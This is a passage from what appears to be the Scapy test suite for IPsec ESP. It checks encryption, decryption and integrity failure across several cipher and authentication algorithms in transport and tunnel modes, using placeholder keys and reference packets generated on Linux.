AES-CTR - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CTR', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n# Generated with Linux 4.4.0-62-generic #83-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \\\n#    mode tunnel enc 'rfc3686(ctr(aes))' '0x3136627974656b65792b34627974656e6f6e6365' auth digest_null '' flag align4\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\xc4\\xca\\x09\\x0f\\x8b\\xd3\\x05\\x3d\\xac\\x5a\\x2f\\x87\\xca\\x71\\x10\\x01'\n               b'\\xa7\\x95\\xc9\\x07\\xcc\\xd4\\x05\\x58\\x65\\x23\\x22\\x4b\\x63\\x9b\\x1f\\xef'\n               b'\\x55\\xb9\\x1a\\x91\\x52\\x76\\x00\\xf7\\x94\\x7b\\x1d\\xe1\\x8e\\x03\\x2e\\x85'\n               b'\\xad\\xdd\\x83\\x22\\x8a\\xc3\\x88\\x6e\\x85\\xf5\\x9b\\xed\\xa9\\x6e\\xb1\\xc3'\n               b'\\x78\\x00\\x2f\\xcd\\x77\\xe8\\x3e\\xec\\x0e\\x77\\x94\\xb2\\x9b\\x0f\\x64\\x5e'\n               b'\\x09\\x83\\x03\\x7d\\x83\\x22\\x39\\xbb\\x94\\x66\\xae\\x9f\\xbf\\x01\\xda\\xfb',\n          seq=1)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n#######################################\n= IPv4 / ESP - Transport - Blowfish - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='Blowfish', crypt_key=b'sixteenbytes key',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n# Generated with Linux 4.4.0-62-generic #83-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \\\n#    mode tunnel enc 'cbc(blowfish)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\x93\\x9f\\x5a\\x10\\x55\\x57\\x30\\xa0\\xb4\\x00\\x72\\x1e\\x46\\x42\\x46\\x20'\n               b'\\xbc\\x01\\xef\\xc3\\x79\\xcc\\x3e\\x55\\x64\\xba\\x09\\xc2\\x6a\\x5a\\x5c\\xb3'\n               b'\\xcc\\xb5\\xd5\\x87\\x82\\xb0\\x0a\\x94\\x58\\xfc\\x50\\x37\\x40\\xe1\\x03\\xd3'\n               b'\\x4a\\x09\\xb2\\x23\\x53\\x56\\xa4\\x45\\x4c\\xbb\\x81\\x1c\\xdb\\x31\\xa7\\x67'\n               b'\\xbd\\x38\\x8e\\xba\\x55\\xd9\\x1f\\xf1\\x3c\\xeb\\x07\\x4c\\x02\\xb0\\x3e\\xc5'\n               b'\\xf6\\x60\\xdd\\x68\\xe1\\xd4\\xec\\xee\\x27\\xc0\\x6d\\x1a\\x80\\xe2\\xcc\\x7d',\n          seq=1)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n#######################################\n= IPv4 / ESP - Transport - CAST - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='CAST', crypt_key=b'sixteenbytes key',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n# Generated with Linux 4.4.0-62-generic #83-Ubuntu\n# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \\\n#    mode tunnel enc 'cbc(cast5)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4\nref = IP() \\\n    / ESP(spi=0x222,\n          data=b'\\xcd\\x4a\\x46\\x05\\x51\\x54\\x73\\x35\\x1d\\xad\\x4b\\x10\\xc1\\x15\\xe2\\x70'\n               b'\\xbc\\x9c\\x53\\x8f\\x4d\\x1c\\x87\\x1a\\xc1\\xb0\\xdf\\x80\\xd1\\x0c\\xa4\\x59'\n               b'\\xe6\\x50\\xde\\x46\\xdb\\x3f\\x28\\xc2\\xda\\x6c\\x2b\\x81\\x5e\\x7c\\x7b\\x4f'\n               b'\\xbc\\x8d\\xc1\\x6d\\x4a\\x2b\\x04\\x91\\x9e\\xc4\\x0b\\xba\\x05\\xba\\x3b\\x71'\n               b'\\xac\\xe3\\x16\\xcf\\x7f\\x00\\xc5\\x87\\x7d\\x72\\x48\\xe6\\x5b\\x43\\x19\\x24'\n               b'\\xae\\xa6\\x2c\\xcc\\xad\\xbf\\x37\\x6c\\x6e\\xea\\x71\\x67\\x73\\xd6\\x11\\x9f',\n          seq=1)\n\nd_ref = sa.decrypt(ref)\nd_ref\n\n* Check for ICMP layer in decrypted reference\nassert d_ref.haslayer(ICMP)\n\n###############################################################################\n+ IPv4 / ESP - Tunnel - Encryption Algorithms\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - NULL\n~ -crypto\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Tunnel - DES - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='DES', crypt_key=b'8bytekey',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\n* the encrypted packet should have an ESP layer\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Tunnel - 3DES - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='3DES', crypt_key=b'threedifferent8byteskeys',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\n* the encrypted packet should have an ESP layer\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Tunnel - AES-CBC - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Tunnel - AES-CTR - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CTR', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Tunnel - Blowfish - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='Blowfish', crypt_key=b'sixteenbytes key',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Tunnel - CAST - NULL\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='CAST', crypt_key=b'sixteenbytes key',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n###############################################################################\n+ IPv4 / ESP - Transport - Authentication Algorithms\n\n#######################################\n= IPv4 / ESP - Transport - NULL - HMAC-SHA1-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Transport - NULL - SHA2-256-128\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Transport - NULL - SHA2-256-128 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Transport - NULL - SHA2-384-192\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-384-192', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Transport - NULL - SHA2-384-192 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-384-192', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Transport - NULL - SHA2-512-256\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-512-256', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Transport - NULL - SHA2-512-256 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-512-256', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Transport - NULL - HMAC-MD5-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-MD5-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Transport - NULL - HMAC-MD5-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-MD5-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Transport - NULL - AES-CMAC-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Transport - NULL - AES-CMAC-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n###############################################################################\n+ IPv4 / ESP - Tunnel - Authentication Algorithms\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - HMAC-SHA1-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - HMAC-SHA1-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - SHA2-256-128\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet should be preserved\nassert d == p\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - SHA2-256-128 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should be readable\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / ESP - Tunnel - NULL - SHA2-384-192\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='SHA2-384-192', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be 